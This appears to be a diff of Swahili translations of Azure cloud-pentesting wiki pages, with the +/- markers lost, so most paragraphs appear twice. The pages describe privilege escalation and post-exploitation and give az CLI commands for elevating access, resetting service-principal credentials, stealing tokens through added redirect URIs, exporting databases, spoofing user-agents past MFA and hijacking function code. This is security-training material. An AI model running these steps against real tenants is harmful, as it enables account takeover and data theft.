Mshambuliaji mwenye ruhusa za kuunda au kubadilisha Azure Service Bus namespaces anaweza kutumia hii kuharibu shughuli, kupeleka rasilimali zisizoidhinishwa, au kufichua data nyeti. Wanaweza kubadilisha mipangilio muhimu kama vile kuwezesha ufikiaji wa mtandao wa umma, kupunguza mipangilio ya usimbuaji, au kubadilisha SKUs ili kudhoofisha utendaji au kuongeza gharama. Zaidi ya hayo, wanaweza kuzima uthibitishaji wa ndani, kubadilisha maeneo ya nakala, au kurekebisha toleo la TLS ili kudhoofisha udhibiti wa usalama, na kufanya makosa ya usanidi wa namespace kuwa hatari kubwa baada ya kutekeleza.
```bash
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
```
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
Mshambuliaji mwenye ruhusa za kuunda au kubadilisha Azure Service Bus queues (ili kubadilisha foleni unahitaji pia Action:`Microsoft.ServiceBus/namespaces/queues/read`) anaweza kutumia hii kukamata data, kuharibu workflows, au kuwezesha ufikiaji usioidhinishwa. Wanaweza kubadilisha mipangilio muhimu kama vile kupeleka ujumbe kwa maeneo mabaya, kubadilisha TTL ya ujumbe ili kuhifadhi au kufuta data vibaya, au kuwezesha dead-lettering kuingilia kati usimamizi wa makosa. Zaidi ya hayo, wanaweza kubadilisha saizi za foleni, muda wa kufunga, au hali ili kuharibu utendaji wa huduma au kuepuka kugunduliwa, na kufanya hii kuwa hatari kubwa baada ya kutekeleza.
Mshambuliaji mwenye ruhusa za kuunda au kubadilisha Azure Service Bus queues (ili kubadilisha queue unahitaji pia Action:`Microsoft.ServiceBus/namespaces/queues/read`) anaweza kutumia hii kukamata data, kuharibu workflows, au kuwezesha ufikiaji usioidhinishwa. Wanaweza kubadilisha mipangilio muhimu kama vile kupeleka ujumbe kwa maeneo mabaya, kubadilisha TTL ya ujumbe ili kuhifadhi au kufuta data vibaya, au kuwezesha dead-lettering kuingilia kati usimamizi wa makosa. Zaidi ya hayo, wanaweza kubadilisha saizi za queue, muda wa kufunga, au hali ili kuharibu utendaji wa huduma au kuepuka kugunduliwa, na kufanya hii kuwa hatari kubwa baada ya kutekeleza.
```bash
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
```
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
Mshambuliaji mwenye ruhusa za kuunda au kubadilisha mada (ili kubadilisha mada unahitaji pia Action:`Microsoft.ServiceBus/namespaces/topics/read`) ndani ya jina la Azure Service Bus anaweza kutumia hii kuharibu mchakato wa ujumbe, kufichua data nyeti, au kuwezesha vitendo visivyoidhinishwa. Kwa kutumia amri kama az servicebus topic update, wanaweza kubadilisha mipangilio kama vile kuwezesha ugawaji kwa matumizi mabaya ya upanuzi, kubadilisha mipangilio ya TTL ili kuhifadhi au kutupa ujumbe vibaya, au kuzima ugunduzi wa nakala ili kupita udhibiti. Zaidi ya hayo, wanaweza kurekebisha mipaka ya ukubwa wa mada, kubadilisha hali ili kuharibu upatikanaji, au kuunda mada za haraka kuhifadhi ujumbe waliokamatwa kwa muda, na kufanya usimamizi wa mada kuwa kipaumbele muhimu kwa kupunguza madhara baada ya unyakuzi.
Mshambuliaji mwenye ruhusa za kuunda au kubadilisha mada (ili kubadilisha mada unahitaji pia Action: `Microsoft.ServiceBus/namespaces/topics/read`) ndani ya eneo la Azure Service Bus anaweza kutumia hii kuharibu mchakato wa ujumbe, kufichua data nyeti, au kuwezesha vitendo visivyoidhinishwa. Kwa kutumia amri kama az servicebus topic update, wanaweza kubadilisha mipangilio kama vile kuwezesha ugawaji kwa matumizi mabaya ya upanuzi, kubadilisha mipangilio ya TTL ili kuhifadhi au kutupa ujumbe vibaya, au kuzima ugunduzi wa nakala ili kupita udhibiti. Zaidi ya hayo, wanaweza kurekebisha mipaka ya ukubwa wa mada, kubadilisha hali ili kuharibu upatikanaji, au kuunda mada za haraka kuhifadhi ujumbe waliokamatwa kwa muda, na kufanya usimamizi wa mada kuwa kipaumbele muhimu kwa kupunguza madhara baada ya kutekeleza.
```bash
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
@@ -62,7 +62,7 @@ Mshambuliaji mwenye ruhusa za kuunda au kubadilisha usajili (ili kubadilisha usa
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
```
### Vitendo: `AuthorizationRules` Tuma & Pokea Ujumbe
### Actions: `AuthorizationRules` Tuma & Pokea Ujumbe
Angalia hapa:
@@ -70,7 +70,7 @@ Angalia hapa:
../az-privilege-escalation/az-queue-privesc.md
{{#endref}}
## Marejeleo
## Marejeo
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -42,7 +42,7 @@ az sql elastic-pool update \
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kufunika nyayo au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.
Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kuficha alama au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -62,7 +62,7 @@ az sql server connection-policy update \
```
### "Microsoft.Sql/servers/databases/export/action"
Kwa ruhusa hii, unaweza kusafirisha database kutoka kwa Azure SQL Server hadi akaunti ya hifadhi. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha data nyeti kutoka kwa database kwa kuisafirisha hadi eneo wanadhibiti, na kuleta hatari kubwa ya uvunjaji wa data. Ni muhimu kujua funguo za hifadhi ili uweze kufanya hivi.
Kwa ruhusa hii, unaweza kusafirisha database kutoka kwa Azure SQL Server hadi akaunti ya hifadhi. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha data nyeti kutoka kwa database kwa kuisafirisha hadi mahali wanadhibiti, na kuleta hatari kubwa ya uvujaji wa data. Ni muhimu kujua funguo za hifadhi ili uweze kufanya hivi.
```bash
az sql db export \
--server <server_name> \
@@ -76,7 +76,7 @@ az sql db export \
```
### "Microsoft.Sql/servers/databases/import/action"
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha databases zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kudhibiti data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyounganishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha database zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kudhibiti data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyohamishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \

View File

@@ -30,7 +30,7 @@ Mtu mwenye ruhusa hii ataweza **kuandika na kufuta entries katika meza** ambayo
- Ruhusa `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` inaruhusu vitendo vyote.
- Ruhusa `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` inaruhusu **kuongeza** entries
- Ruhusa `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` inaruhusu **kupdate** entries zilizopo
- Ruhusa `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` inaruhusu **k updates** entries zilizopo
```bash
# Add
az storage entity insert \

View File

@@ -12,13 +12,13 @@ Kwa maelezo zaidi kuhusu Azure VMs na mtandao angalia ukurasa ufuatao:
### VM Application Pivoting
Programu za VM zinaweza kushirikiwa na usajili na wapangaji wengine. Ikiwa programu inashirikiwa inawezekana kwa sababu inatumika. Hivyo, ikiwa mshambuliaji anafanikiwa **kudhoofisha programu na kupakia toleo lililo na backdoor** inaweza kuwa inawezekana kwamba itatekelezwa **katika mpangaji au usajili mwingine**.
Programu za VM zinaweza kushirikiwa na usajili na wapangaji wengine. Ikiwa programu inashirikiwa inawezekana kwa sababu inatumika. Hivyo, ikiwa mshambuliaji anafanikiwa **kudhoofisha programu na kupakia toleo lililo na backdoor** inaweza kuwa inawezekana kwamba itatekelezwa **katika wapangaji au usajili mwingine**.
### Taarifa nyeti katika picha
Inaweza kuwa inawezekana kupata **taarifa nyeti ndani ya picha** zilizochukuliwa kutoka kwa VMs katika siku za nyuma.
Inaweza kuwa inawezekana kupata **taarifa nyeti ndani ya picha** zilizochukuliwa kutoka kwa VMs katika kipindi kilichopita.
1. **Orodhesha picha** kutoka kwenye maktaba
1. **Orodhesha picha** kutoka kwa maktaba
```bash
# Get galleries
az sig list -o table
@@ -61,14 +61,14 @@ az restore-point list \
--restore-point-collection-name <COLLECTION_NAME> \
-o table
```
2. **Unda diski** kutoka kwa alama ya kurejesha
2. **Unda diski** kutoka kwa hatua ya kurejesha
```bash
az disk create \
--resource-group <RESOURCE_GROUP> \
--name <NEW_DISK_NAME> \
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
```
3. **Unganisha diski kwenye VM** (mshambuliaji anahitaji kuwa amepata udhibiti wa VM ndani ya akaunti tayari)
3. **Unganisha diski kwenye VM** (mshambuliaji anahitaji kuwa ameshambulia VM ndani ya akaunti tayari)
```bash
az vm disk attach \
--resource-group <RESOURCE_GROUP> \

View File

@@ -40,10 +40,10 @@ az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Ruhusa hizi zinaruhusu kuinua mamlaka na kuwa na uwezo wa kutoa ruhusa kwa mtu yeyote kwa rasilimali za Azure. Imeandaliwa kutolewa kwa Wasimamizi wa Kimataifa wa Entra ID ili waweze pia kusimamia ruhusa juu ya rasilimali za Azure.
Ruhusa hii inaruhusu kuinua mamlaka na kuwa na uwezo wa kutoa ruhusa kwa mtu yeyote kwa rasilimali za Azure. Imeandaliwa kutolewa kwa Wasimamizi wa Kimataifa wa Entra ID ili waweze pia kusimamia ruhusa juu ya rasilimali za Azure.
> [!TIP]
> Nadhani mtumiaji anahitaji kuwa Msimamizi wa Kimataifa katika Entra ID ili simu ya kuinua ifanye kazi.
> Nadhani mtumiaji anahitaji kuwa Msimamizi wa Kimataifa katika Entra ID ili wito wa kuinua ufanye kazi.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

View File

@@ -3,7 +3,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Kumbuka kwamba **sio ruhusa zote za granular** ambazo majukumu ya ndani yana katika Entra ID **zinastahili kutumika katika majukumu ya kawaida.**
> Kumbuka kwamba **sio ruhusa zote za granular** zilizojengwa katika majukumu ya Entra ID **zinastahili kutumika katika majukumu ya kawaida.**
## Majukumu
@@ -79,7 +79,7 @@ az ad app owner list --id <appId>
Mshambuliaji anaweza kuongeza URI ya kuelekeza kwa programu zinazotumiwa na watumiaji wa mpangilio na kisha kushiriki nao URL za kuingia zinazotumia URL mpya ya kuelekeza ili kuiba token zao. Kumbuka kwamba ikiwa mtumiaji tayari alikuwa amejiunga na programu, uthibitishaji utaenda kiotomatiki bila mtumiaji kuhitaji kukubali chochote.
Kumbuka kwamba pia inawezekana kubadilisha ruhusa ambazo programu inazitaka ili kupata ruhusa zaidi, lakini katika kesi hii mtumiaji atahitaji kukubali tena ombi linalouliza ruhusa zote.
Kumbuka kwamba pia inawezekana kubadilisha ruhusa ambazo programu inazihitaji ili kupata ruhusa zaidi, lakini katika kesi hii mtumiaji atahitaji kukubali tena ombi linaloomba ruhusa zote.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -90,7 +90,7 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
### `microsoft.directory/servicePrincipals/credentials/update`
Hii inaruhusu mshambuliaji kuongeza akidi kwa huduma zilizopo. Ikiwa huduma hiyo ina mamlaka ya juu, mshambuliaji anaweza kuchukua mamlaka hayo.
Hii inaruhusu mshambuliaji kuongeza akidi kwa wahusika wa huduma waliopo. Ikiwa mhusika wa huduma ana mamlaka ya juu, mshambuliaji anaweza kuchukua mamlaka hayo.
```bash
az ad sp credential reset --id <sp-id> --append
```
@@ -110,7 +110,7 @@ az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Kama ilivyo kwa programu, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa huduma ya msingi. Kumiliki huduma ya msingi kunaruhusu kudhibiti hati zake na ruhusa.
Kama ilivyo kwa maombi, ruhusa hii inaruhusu kuongeza wamiliki zaidi kwa huduma ya msingi. Kumiliki huduma ya msingi kunaruhusu kudhibiti hati zake na ruhusa.
```bash
# Add new owner
spId="<spId>"
@@ -132,9 +132,9 @@ az ad sp owner list --id <spId>
### `microsoft.directory/servicePrincipals/disable` na `enable`
Hizi ruhusa zinaruhusu kuzima na kuwezesha wahusika wa huduma. Mshambuliaji anaweza kutumia ruhusa hii kuwezesha mhusika wa huduma ambaye anaweza kupata ufikiaji wa namna fulani ili kupandisha hadhi.
Ruhusa hizi zinaruhusu kuzima na kuwezesha wahusika wa huduma. Mshambuliaji anaweza kutumia ruhusa hii kuwezesha mhusika wa huduma ambaye anaweza kupata ufikiaji wa namna fulani ili kupandisha hadhi.
Kumbuka kwamba kwa ajili ya mbinu hii mshambuliaji atahitaji ruhusa zaidi ili kuchukua udhibiti wa mhusika wa huduma aliyewezeshwa.
Kumbuka kwamba kwa mbinu hii mshambuliaji atahitaji ruhusa zaidi ili kuchukua udhibiti wa mhusika wa huduma aliyewezeshwa.
```bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -187,13 +187,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Ruhusa hii inaruhusu kuongeza wanachama kwenye kundi. Mshambuliaji anaweza kujiongeza mwenyewe au akaunti mbaya kwenye vikundi vyenye mamlaka ambavyo vinaweza kutoa ufikiaji wa juu.
Ruhusa hii inaruhusu kuongeza wanachama kwenye kundi. Mshambuliaji anaweza kujiongeza mwenyewe au akaunti mbaya kwenye vikundi vyenye mamlaka ambayo yanaweza kutoa ufikiaji wa juu.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Ruhusa hii inaruhusu kuboresha sheria za uanachama katika kundi la dynamic. Mshambuliaji anaweza kubadilisha sheria za dynamic ili kujumuisha mwenyewe katika vikundi vyenye mamlaka bila kuongeza wazi.
Ruhusa hii inaruhusu kubadilisha sheria za uanachama katika kundi la dynamic. Mshambuliaji anaweza kubadilisha sheria za dynamic ili kujumuisha mwenyewe katika vikundi vyenye mamlaka bila kuongeza wazi.
```bash
groupId="<group-id>"
az rest --method PATCH \

View File

@@ -10,13 +10,13 @@ Sera za ufikiaji wa masharti kimsingi **zinaelezea** **Nani** anaweza kufikia **
Hapa kuna mifano kadhaa:
1. **Sera ya Hatari ya Kuingia**: Sera hii inaweza kuwekwa ili kuhitaji uthibitisho wa hatua nyingi (MFA) wakati hatari ya kuingia inagundulika. Kwa mfano, ikiwa tabia ya kuingia ya mtumiaji ni ya ajabu ikilinganishwa na muundo wao wa kawaida, kama kuingia kutoka nchi tofauti, mfumo unaweza kuomba uthibitisho wa ziada.
2. **Sera ya Uzingatiaji wa Kifaa**: Sera hii inaweza kuzuia ufikiaji wa huduma za Azure tu kwa vifaa vinavyokidhi viwango vya usalama vya shirika. Kwa mfano, ufikiaji unaweza kuruhusiwa tu kutoka kwa vifaa vilivyo na programu ya antivirus iliyo na sasisho au vinavyotumia toleo fulani la mfumo wa uendeshaji.
2. **Sera ya Uzingatiaji wa Kifaa**: Sera hii inaweza kuzuia ufikiaji wa huduma za Azure tu kwa vifaa ambavyo vinakidhi viwango vya usalama vya shirika. Kwa mfano, ufikiaji unaweza kuruhusiwa tu kutoka kwa vifaa ambavyo vina programu ya antivirus iliyo na sasisho au vinatumia toleo fulani la mfumo wa uendeshaji.
## Bypass za Sera za Ufikiaji wa Masharti
Inawezekana kwamba sera ya ufikiaji wa masharti **inaangalia taarifa ambazo zinaweza kubadilishwa kwa urahisi kuruhusu bypass ya sera**. Na ikiwa kwa mfano sera ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita.
Inawezekana kwamba sera ya ufikiaji wa masharti **inaangalia taarifa fulani ambazo zinaweza kubadilishwa kwa urahisi kuruhusu bypass ya sera**. Na ikiwa kwa mfano sera ilikuwa inakamilisha MFA, mshambuliaji ataweza kuipita.
Wakati wa kuunda sera ya ufikiaji wa masharti inahitajika kuashiria **watumiaji** walioathirika na **rasilimali za lengo** (kama programu zote za wingu).
Wakati wa kuunda sera ya ufikiaji wa masharti inahitajika kuashiria **watumiaji** walioathiriwa na **rasilimali za lengo** (kama programu zote za wingu).
Pia inahitajika kuunda **masharti** ambayo yatakuwa **yanasababisha** sera:
@@ -24,18 +24,18 @@ Pia inahitajika kuunda **masharti** ambayo yatakuwa **yanasababisha** sera:
- Inaweza kupitishwa kwa kutumia VPN au Proxy kuungana na nchi au kufanikiwa kuingia kutoka anwani ya IP iliyoidhinishwa
- **Hatari za Microsoft**: Hatari ya mtumiaji, hatari ya kuingia, hatari ya ndani
- **Majukwaa ya vifaa**: Kifaa chochote au chagua Android, iOS, Windows phone, Windows, macOS, Linux
- Ikiwa “Kifaa chochote” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa inawezekana kupita kwa kutumia user-agent isiyo ya kawaida isiyohusiana na majukwaa hayo
- Ikiwa “Kifaa chochote” hakijachaguliwa lakini chaguo zingine zote zimechaguliwa inawezekana kupita kwa kutumia user-agent wa bahati nasibu usiohusiana na majukwaa hayo
- **Programu za mteja**: Chaguo ni “Kivinjari”, “Programu za simu na wateja wa desktop”, “Wateja wa Exchange ActiveSync” na Wateja Wengine”
- Ili kupita kuingia na chaguo kisichochaguliwa
- **Filter kwa vifaa**: Inawezekana kuunda sheria inayohusiana na kifaa kilichotumika
- **Mchakato wa uthibitishaji**: Chaguo ni “Mchakato wa nambari ya kifaa” na “Uhamisho wa uthibitishaji”
- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la phishing kuingia kwenye akaunti ya mwathirika
- Hii haitamathirisha mshambuliaji isipokuwa anajaribu kutumia mojawapo ya protokali hizo katika jaribio la uvuvi kuingia kwenye akaunti ya mwathirika
Matokeo yanayoweza kutokea ni: Zuia au Ruhusu ufikiaji na masharti yanayoweza kama kuhitaji MFA, kifaa kuwa na uzingatiaji...
### Majukwaa ya Vifaa - Hali ya Kifaa
Inawezekana kuweka hali kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa utatumia **user-agent ambayo haitambuliwi,** utaweza kupita MFA au kuzuia:
Inawezekana kuweka hali kulingana na **jukwaa la kifaa** (Android, iOS, Windows, macOS...), hata hivyo, hii inategemea **user-agent** hivyo ni rahisi kupita. Hata **kufanya chaguo zote zitekeleze MFA**, ikiwa unatumia **user-agent ambayo haitambuliwi,** utaweza kupita MFA au kuzuia:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
@@ -65,11 +65,11 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
<token>
```
Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Chombo [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) hufanya baadhi ya ukaguzi ili kujaribu kupita hizi ulinzi pia.
Zaidi ya hayo, inawezekana pia kulinda njia ya kuingia (kwa mfano, ikiwa unajaribu kuingia kutoka kwa kivinjari au kutoka kwa programu ya desktop). Zana [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) inafanya baadhi ya ukaguzi ili kujaribu kupita hizi ulinzi pia.
Chombo [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kinaweza pia kutumika kwa madhumuni sawa ingawa kinaonekana hakijatunzwa.
Zana [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) inaweza pia kutumika kwa madhumuni sawa ingawa inaonekana haijatunzwa.
Chombo [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kinaweza pia kutumika kujaribu hizi ulinzi na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini chombo hiki kinatumika kutoka kwa mtazamo wa **whitebox**. Kwanza unahitaji kupakua orodha ya Programu zilizoruhusiwa katika tenant na kisha itajaribu kuingia ndani yao.
Zana [**ROPCI**](https://github.com/wunderwuzzi23/ropci) inaweza pia kutumika kujaribu hizi ulinzi na kuona ikiwa inawezekana kupita MFAs au vizuizi, lakini zana hii inafanya kazi kutoka kwa mtazamo wa **whitebox**. Kwanza unahitaji kupakua orodha ya Programu zilizoruhusiwa katika tenant na kisha itajaribu kuingia ndani yao.
## Mipango Mingine ya Az MFA
@@ -78,13 +78,13 @@ Chombo [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kinaweza pia kutumika
Chaguo moja la Azure MFA ni **kupokea simu katika nambari ya simu iliyowekwa** ambapo itamwuliza mtumiaji **kutuma herufi `#`**.
> [!CAUTION]
> Kwa kuwa herufi ni **sauti tu**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inashughulika** (ikiitafuta) ili simu ya Azure irejeleze kwenye voicemail.
> Kwa kuwa herufi ni tu **sauti**, mshambuliaji anaweza **kuathiri** ujumbe wa **voicemail** wa nambari ya simu, kuweka kama ujumbe **sauti ya `#`** na kisha, wakati wa kuomba MFA hakikisha kwamba **simu ya waathiriwa inashughulika** (ikiita) ili simu ya Azure irejeleze kwenye voicemail.
### Vifaa Vinavyokubalika
Sera mara nyingi huomba kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata token ya **PRT** na **kupita hivi hivyo MFA**.
Sera mara nyingi zinahitaji kifaa kinachokubalika au MFA, hivyo **mshambuliaji anaweza kujiandikisha kifaa kinachokubalika**, kupata **PRT** token na **kupita kwa njia hii MFA**.
Anza kwa kujiandikisha kifaa **kinachokubalika katika Intune**, kisha **pata PRT** kwa:
Anza kwa kujiandikisha **kifaa kinachokubalika katika Intune**, kisha **pata PRT** na:
```powershell
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -104,9 +104,9 @@ Pata maelezo zaidi kuhusu aina hii ya shambulio katika ukurasa ufuatao:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Script hii inapata baadhi ya akidi za mtumiaji na kuangalia kama inaweza kuingia katika baadhi ya programu.
Hii script inapata baadhi ya akidi za mtumiaji na kuangalia kama inaweza kuingia katika baadhi ya programu.
Hii ni muhimu kuona kama **huhitajiki MFA kuingia katika baadhi ya programu** ambazo unaweza baadaye kuzitumia ili **kuinua haki**.
Hii ni muhimu kuona kama **huhitajiki MFA kuingia katika baadhi ya programu** ambazo unaweza baadaye kutumia vibaya ili **kuinua haki**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)

View File

@@ -4,7 +4,7 @@
## Basic Information
**Dynamic groups** ni vikundi ambavyo vina seti ya **rules** zilizowekwa na watumiaji au vifaa vyote vinavyolingana na sheria hizo vinajumuishwa kwenye kundi. Kila wakati **attribute** ya mtumiaji au kifaa inapo **badilishwa**, sheria za dynamic zinarejelewa. Na wakati **sheria mpya** inapo **undwa**, vifaa vyote na watumiaji vinakaguliwa.
**Dynamic groups** ni vikundi ambavyo vina seti ya **rules** zilizowekwa na watumiaji au vifaa vyote vinavyolingana na sheria hizo vinaongezwa kwenye kundi. Kila wakati **attribute** ya mtumiaji au kifaa inapo **badilishwa**, sheria za dynamic zinarejelewa. Na wakati **sheria mpya** inapo **undwa**, vifaa vyote na watumiaji vinakaguliwa.
Vikundi vya dynamic vinaweza kuwa na **Azure RBAC roles** zilizotolewa kwao, lakini **haiwezekani** kuongeza **AzureAD roles** kwenye vikundi vya dynamic.

View File

@@ -12,13 +12,13 @@ Angalia ukurasa ufuatao kwa maelezo zaidi:
### Bucket Read/Write
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyowekwa awali) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi, inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyoainishwa) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
Mara tu unapopata mahali ambapo msimbo wa kazi umehifadhiwa ikiwa una ruhusa za kuandika juu yake unaweza kufanya kazi itekeleze msimbo wowote na kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na kazi hiyo.
Mara tu unapopata mahali ambapo msimbo wa kazi uko, ikiwa una ruhusa za kuandika juu yake, unaweza kufanya kazi itekeleze msimbo wowote na kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na kazi hiyo.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` na `WEBSITE_CONTENTSHARE`)
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na Kazi.
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha, inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na Kazi.
Njia hii ya kutekeleza kawaida huweka mipangilio **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** na **`WEBSITE_CONTENTSHARE`** ambazo unaweza kupata kutoka&#x20;
```bash
@@ -58,7 +58,7 @@ az functionapp config appsettings list \
Hii config kwa kawaida itakuwa na **SAS URL ya kupakua** msimbo kutoka kwa Akaunti ya Hifadhi.
> [!CAUTION]
> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linashikilia msimbo katika zip** inawezekana kutekeleza msimbo wowote katika Kazi na kupandisha ruhusa.
> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linashikilia msimbo katika zip** inawezekana kutekeleza msimbo wowote katika Kazi na kupandisha mamlaka.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Ni possible pia kupata **funguo za master na functions** zilizohifadhiwa katika akaunti ya hifadhi ndani ya kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON unazoweza kupata ndani yake.
Ni possible pia kupata **funguo za master na functions** zilizohifadhiwa katika akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON unazoweza kupata ndani.
> [!CAUTION]
